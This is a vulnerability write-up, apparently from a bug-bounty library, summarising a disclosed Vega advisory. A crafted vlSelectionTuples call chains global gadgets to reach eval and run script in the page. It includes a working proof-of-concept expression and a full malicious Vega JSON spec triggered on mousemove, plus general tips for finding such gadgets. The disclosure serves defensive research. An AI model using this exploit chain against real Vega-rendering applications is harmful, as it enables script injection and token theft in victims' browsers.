# Vega XSS via expression abusing vlSelectionTuples function array map calls in environments with satisfactory function gadgets in the global scope

Vega's vlSelectionTuples calls user-supplied .map on an object, letting a crafted spec invoke a global gadget to reach eval and achieve DOM XSS.

- Payout: Research
- Severity: high
- Program: Vega
- Found by: nickcopi
- Disclosed: 2026-01-05
- CVE: CVE-2025-65110
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-829q-m3qg-ph8r
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-829q-m3qg-ph8r
- Tags: area:web domain:web impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:source-review vuln:xss

**Target:** vega-selections vlSelectionTuples expression function
**Root cause:** selectionTuples calls array.map without checking Array.isArray, so a user-supplied object with a map property is invoked as a method, enabling gadget-based arbitrary function calls from a Vega expression.
**Steps:**
1. Load a Vega spec with a signal whose update expression calls `vlSelectionTuples({map:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})`
2. Bind the signal to a mousemove event on window
3. Move the mouse to trigger the expression
4. vlSelectionTuples calls the object's map (CanvasHandler.prototype.on) with this bound to the crafted object
5. on() calls this.eventName(undefined) then this._handlerIndex(this._handlers[undefined], ...) which is window.eval on the payload string, executing JS
**How found:** Noticed expressions can member-get window objects via event.view, then reasoned that vlSelectionTuples' unguarded .map call could invoke a global function gadget (VEGA_DEBUG.vega.CanvasHandler.prototype.on) whose internal this.* calls could be redirected to eval.
**Exploitation:** Attacker supplies a malicious Vega JSON definition; when the victim interacts (mousemove), the expression invokes the gadget chain and eval runs attacker JS in the app's origin, enabling token theft or unauthorized actions.
**Escalation:** Works even with the safe-mode expressionInterpreter; a second PoC abuses further function-call gadgets to reach window.eval under the AST evaluator.
**Insight:** When a library calls a method like .map on attacker-controlled objects, look for global function gadgets whose internal this.foo(this.bar) calls can be repointed at eval; VEGA_DEBUG and editor-attached globals are prime gadget sources.

## Proof of concept (copied exactly from the original report)

**vlSelectionTuples gadget expression payload**

```
vlSelectionTuples({
    map: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on,
    eventName: event.view.console.log,
    _handlers:{
        undefined: 'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'
    },
    _handlerIndex: event.view.eval
})
```

**Vega JSON spec with mousemove XSS signal**

```
{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "width": 350,
  "height": 350,
  "autosize": "none",
  "description": "Toggle Button",
  "signals": [
    {
      "name": "toggle",
      "value": true,
      "on": [
        {
          "events": {"type": "click", "markname": "circle"},
          "update": "toggle ? false : true"
        }
      ]
    },
    {
      "name": "addFilter",
      "on": [
        {
          "events": {"type": "mousemove", "source": "window"},
          "update": "vlSelectionTuples({map:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})"
        }
      ]
    }
  ]
}
```

